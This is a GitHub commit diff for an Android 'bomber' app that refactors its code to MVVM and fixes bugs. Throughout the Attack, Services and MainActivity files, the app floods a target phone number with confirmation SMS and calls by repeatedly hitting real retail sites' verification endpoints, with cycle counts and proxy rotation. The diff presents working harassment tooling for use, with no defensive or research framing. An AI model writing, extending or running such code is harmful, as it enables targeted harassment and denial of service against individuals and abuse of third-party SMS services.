Skip to content

Commit

Permalink
feat: migration to mvvm, bug fixes
Browse files Browse the repository at this point in the history
  • Loading branch information
dmitrijkotov634 committed Dec 18, 2021
1 parent 86052b4 commit bb7fffd
Show file tree
Hide file tree
Showing 8 changed files with 165 additions and 109 deletions.
4 changes: 2 additions & 2 deletions app/release/output-metadata.json
Original file line number Diff line number Diff line change
Expand Up @@ -11,8 +11,8 @@
"type": "SINGLE",
"filters": [],
"attributes": [],
"versionCode": 9,
"versionName": "1.6",
"versionCode": 10,
"versionName": "1.7",
"outputFile": "app-release.apk"
}
],
Expand Down
2 changes: 1 addition & 1 deletion app/src/main/AndroidManifest.xml
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@
<activity
android:name=".ui.MainActivity"
android:exported="true"
android:screenOrientation="portrait">
android:screenOrientation="fullSensor">
<intent-filter>
<action android:name="android.intent.action.MAIN" />

Expand Down
40 changes: 19 additions & 21 deletions app/src/main/java/com/dm/bomber/bomber/Attack.java
Original file line number Diff line number Diff line change
Expand Up @@ -43,9 +43,9 @@ public class Attack extends Thread {
public Attack(Callback callback, String phoneCode, String phone, int cycles, List<Proxy> proxies) {
super(phone);

this.callback = callback;
this.phoneCode = phoneCode;
this.phone = phone;
this.callback = callback;
this.proxies = proxies;

numberOfCycles = cycles;
Expand All @@ -60,17 +60,17 @@ public void run() {

clientBuilder.proxy(null);

try {
for (int cycle = 0; cycle < numberOfCycles; cycle++) {
if (!proxies.isEmpty())
clientBuilder.proxy(proxies.get(cycle % proxies.size()));
for (int cycle = 0; cycle < numberOfCycles; cycle++) {
if (!proxies.isEmpty())
clientBuilder.proxy(proxies.get(cycle % proxies.size()));

OkHttpClient client = clientBuilder.build();
OkHttpClient client = clientBuilder.build();

Log.i(TAG, String.format("Started cycle %s", cycle));
tasks = new CountDownLatch(usableServices.size());
Log.i(TAG, String.format("Started cycle %s", cycle));
tasks = new CountDownLatch(usableServices.size());

for (Service service : usableServices) {
for (Service service : usableServices) {
try {
service.prepare(phoneCode, phone);
service.run(client, new com.dm.bomber.services.Callback() {
@Override
Expand All @@ -90,21 +90,19 @@ public void onResponse(@NotNull Call call, @NotNull Response response) {
callback.onProgressChange(progress++);
}
});
}

try {
tasks.await();
} catch (InterruptedException e) {
break;
} catch (StringIndexOutOfBoundsException e) {
Log.w(TAG, String.format("%s could not process the number", service.getClass().getName()));
}
}

callback.onAttackEnd(true);
} catch (StringIndexOutOfBoundsException e) {
Log.i(TAG, "Invalid number format");
callback.onAttackEnd(false);
} finally {
Log.i(TAG, String.format("Attack on +%s%s ended", phoneCode, phone));
try {
tasks.await();
} catch (InterruptedException e) {
break;
}
}

callback.onAttackEnd();
Log.i(TAG, String.format("Attack on +%s%s ended", phoneCode, phone));
}
}
2 changes: 1 addition & 1 deletion app/src/main/java/com/dm/bomber/bomber/Callback.java
Original file line number Diff line number Diff line change
@@ -1,7 +1,7 @@
package com.dm.bomber.bomber;

public interface Callback {
void onAttackEnd(boolean success);
void onAttackEnd();

void onAttackStart(int serviceCount, int numberOfCycles);

Expand Down
4 changes: 2 additions & 2 deletions app/src/main/java/com/dm/bomber/services/Services.java
Original file line number Diff line number Diff line change
Expand Up @@ -324,7 +324,7 @@ public String buildJson() {
}
},

new JsonService("https://www.letu.ru/s/api/user/account/v1/confirmations/phone?pushSite=storeMobileRU") {
new JsonService("https://www.letu.ru/s/api/user/account/v1/confirmations/phone?pushSite=storeMobileRU", 7) {
@Override
public String buildJson() {
JSONObject json = new JSONObject();
Expand Down Expand Up @@ -380,7 +380,7 @@ public void buildParams(HttpUrl.Builder builder) {
}
},

new FormService("https://www.traektoria.ru/local/ajax/authorize.php?action=2") {
new FormService("https://www.traektoria.ru/local/ajax/authorize.php?action=2", 7) {
@Override
public void buildBody(FormBody.Builder builder) {
builder.add("phone", getFormattedPhone());
Expand Down
116 changes: 44 additions & 72 deletions app/src/main/java/com/dm/bomber/ui/MainActivity.java
Original file line number Diff line number Diff line change
Expand Up @@ -19,30 +19,22 @@

import com.dm.bomber.MainRepository;
import com.dm.bomber.R;
import com.dm.bomber.bomber.Attack;
import com.dm.bomber.bomber.Bomber;
import com.dm.bomber.bomber.Callback;
import com.dm.bomber.databinding.ActivityMainBinding;
import com.dm.bomber.databinding.DialogProxiesBinding;
import com.dm.bomber.databinding.DialogSettingsBinding;
import com.google.android.material.bottomsheet.BottomSheetDialog;
import com.google.android.material.dialog.MaterialAlertDialogBuilder;
import com.google.android.material.snackbar.Snackbar;

import java.util.ArrayList;

import jp.wasabeef.blurry.Blurry;

public class MainActivity extends AppCompatActivity implements Callback {
public class MainActivity extends AppCompatActivity {
private ActivityMainBinding mainBinding;
private DialogSettingsBinding settingsBinding;
private MainViewModel model;

private Attack attack;
private MainViewModel model;
private MainRepository repository;

private final String[] phoneCodes = {"7", "380", ""};

private String clipText;

@Override
Expand Down Expand Up @@ -76,8 +68,17 @@ protected void onCreate(Bundle savedInstanceState) {
.show();
});

model.isBlurEnabled().observe(this, enabled -> {
if (enabled) {
model.isProxyEnabled().observe(this, enabled -> settingsBinding.proxyTile.setChecked(enabled));
model.getSelectedTheme().observe(this, theme -> {
AppCompatDelegate.setDefaultNightMode(theme);
settingsBinding.themeTile.setChecked((getResources().getConfiguration().uiMode & Configuration.UI_MODE_NIGHT_MASK) == Configuration.UI_MODE_NIGHT_YES);
});

model.getCurrentProgress().observe(this, progress -> mainBinding.progress.setProgress(progress));
model.getMaxProgress().observe(this, maxProgress -> mainBinding.progress.setMax(maxProgress));

model.getAttackStatus().observe(this, attackStatus -> {
if (attackStatus) {
mainBinding.main.getViewTreeObserver().addOnGlobalLayoutListener(new ViewTreeObserver.OnGlobalLayoutListener() {
@Override
public void onGlobalLayout() {
Expand All @@ -86,23 +87,30 @@ public void onGlobalLayout() {
.sampling(1)
.async()
.capture(mainBinding.main)
.into(mainBinding.blur);
.getAsync(bitmap -> {
mainBinding.blur.setImageBitmap(bitmap);

mainBinding.blur.setVisibility(View.VISIBLE);
mainBinding.main.setVisibility(View.INVISIBLE);
mainBinding.blur.setVisibility(View.VISIBLE);
mainBinding.main.setVisibility(View.INVISIBLE);

mainBinding.attack.setVisibility(View.VISIBLE);
});

mainBinding.main.getViewTreeObserver().removeOnGlobalLayoutListener(this);
}
});

mainBinding.main.requestLayout();
} else {
mainBinding.main.setVisibility(View.VISIBLE);
mainBinding.blur.setVisibility(View.GONE);
mainBinding.attack.setVisibility(View.GONE);
}
});

CountryCodeAdapter adapter = new CountryCodeAdapter(this,
new int[]{R.drawable.ic_ru, R.drawable.ic_uk, R.drawable.ic_all},
phoneCodes);
MainViewModel.phoneCodes);

String[] hints = getResources().getStringArray(R.array.hints);
mainBinding.phoneNumber.setHint(hints[0]);
Expand All @@ -122,6 +130,9 @@ public void onNothingSelected(AdapterView<?> adapterView) {
});

mainBinding.startAttack.setOnClickListener(view -> {
InputMethodManager input = (InputMethodManager) getSystemService(INPUT_METHOD_SERVICE);
input.hideSoftInputFromWindow(mainBinding.getRoot().getWindowToken(), 0);

String phoneNumber = mainBinding.phoneNumber.getText().toString();
String numberOfCycles = mainBinding.cyclesCount.getText().toString();

Expand All @@ -132,11 +143,7 @@ public void onNothingSelected(AdapterView<?> adapterView) {

int numberOfCyclesNum = numberOfCycles.isEmpty() ? 1 : Integer.parseInt(numberOfCycles);

if (!Bomber.isAlive(attack)) {
attack = new Attack(this, phoneCodes[mainBinding.phoneCode.getSelectedItemPosition()],
phoneNumber, numberOfCyclesNum, repository.isProxyEnabled() ? repository.getProxy() : new ArrayList<>());
attack.start();
}
model.startAttack(mainBinding.phoneCode.getSelectedItemPosition(), phoneNumber, numberOfCyclesNum);
});

mainBinding.bomb.setOnClickListener(view -> view.animate()
Expand Down Expand Up @@ -170,10 +177,10 @@ public void onAnimationEnd(Animator animation) {
clipText = "+7" + clipText.substring(1);

clipText = clipText.substring(1);
for (int i = 0; i < phoneCodes.length; i++) {
if (clipText.startsWith(phoneCodes[i])) {
for (int i = 0; i < MainViewModel.phoneCodes.length; i++) {
if (clipText.startsWith(MainViewModel.phoneCodes[i])) {
mainBinding.phoneCode.setSelection(i);
mainBinding.phoneNumber.setText(clipText.substring(phoneCodes[i].length()).replaceAll("[^\\d.]", ""));
mainBinding.phoneNumber.setText(clipText.substring(MainViewModel.phoneCodes[i].length()).replaceAll("[^\\d.]", ""));

break;
}
Expand All @@ -188,22 +195,25 @@ public void onAnimationEnd(Animator animation) {

mainBinding.openMenu.setOnClickListener(view -> settings.show());

settingsBinding.appThemeTile.setOnClickListener(view -> {
int mode = settingsBinding.appThemeTile.isChecked() ? AppCompatDelegate.MODE_NIGHT_YES : AppCompatDelegate.MODE_NIGHT_NO;
settingsBinding.themeTile.setOnClickListener(view -> {
settings.cancel();

repository.setTheme(mode);
AppCompatDelegate.setDefaultNightMode(mode);
int mode = settingsBinding.themeTile.isChecked() ? AppCompatDelegate.MODE_NIGHT_YES : AppCompatDelegate.MODE_NIGHT_NO;

model.setTheme(mode);
});

settingsBinding.appThemeTile.setOnLongClickListener(view -> {
repository.setTheme(AppCompatDelegate.MODE_NIGHT_FOLLOW_SYSTEM);
AppCompatDelegate.setDefaultNightMode(AppCompatDelegate.MODE_NIGHT_FOLLOW_SYSTEM);
settingsBinding.themeTile.setOnLongClickListener(view -> {
settings.cancel();

model.setTheme(AppCompatDelegate.MODE_NIGHT_FOLLOW_SYSTEM);
return true;
});

settingsBinding.proxyTile.setChecked(repository.isProxyEnabled());
settingsBinding.proxyTile.setOnCheckedChangeListener((button, checked) -> {
if (!button.isPressed())
return;

if (checked) {
BottomSheetDialog proxy = new BottomSheetDialog(this);

Expand All @@ -226,11 +236,10 @@ public void onAnimationEnd(Animator animation) {
settings.cancel();
}

repository.setProxyEnabled(checked);
model.setProxyEnabled(checked);
});

settingsBinding.donateTile.setOnClickListener(view -> startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("https://qiwi.com/n/PHOSS105"))));
settingsBinding.appThemeTile.setChecked((getResources().getConfiguration().uiMode & Configuration.UI_MODE_NIGHT_MASK) == Configuration.UI_MODE_NIGHT_YES);

int lastPhoneCode = repository.getLastPhoneCode();
if (lastPhoneCode > 2)
Expand All @@ -250,46 +259,9 @@ public void onWindowFocusChanged(boolean hasFocus) {
}
}

@Override
public void onAttackEnd(boolean success) {
runOnUiThread(() -> {
mainBinding.attack.setVisibility(View.GONE);
model.setBlurEnabled(false);
});

if (success) {
repository.setLastPhoneCode(mainBinding.phoneCode.getSelectedItemPosition());
repository.setLastPhone(mainBinding.phoneNumber.getText().toString());
} else {
Snackbar.make(mainBinding.main, R.string.phone_error, Snackbar.LENGTH_LONG).show();
}
}

@Override
public void onAttackStart(int serviceCount, int numberOfCycles) {
runOnUiThread(() -> {
InputMethodManager input = (InputMethodManager) getSystemService(INPUT_METHOD_SERVICE);
input.hideSoftInputFromWindow(mainBinding.getRoot().getWindowToken(), 0);

mainBinding.progress.setMax(serviceCount * numberOfCycles);
mainBinding.progress.setProgress(0);

mainBinding.attack.setVisibility(View.VISIBLE);

model.setBlurEnabled(true);
});
}

@Override
public void onProgressChange(int progress) {
runOnUiThread(() -> mainBinding.progress.setProgress(progress));
}

@Override
public void onBackPressed() {
if (Bomber.isAlive(attack))
attack.interrupt();
else
if (!model.stopAttack())
super.onBackPressed();
}
}
Loading

0 comments on commit bb7fffd

Please sign in to comment.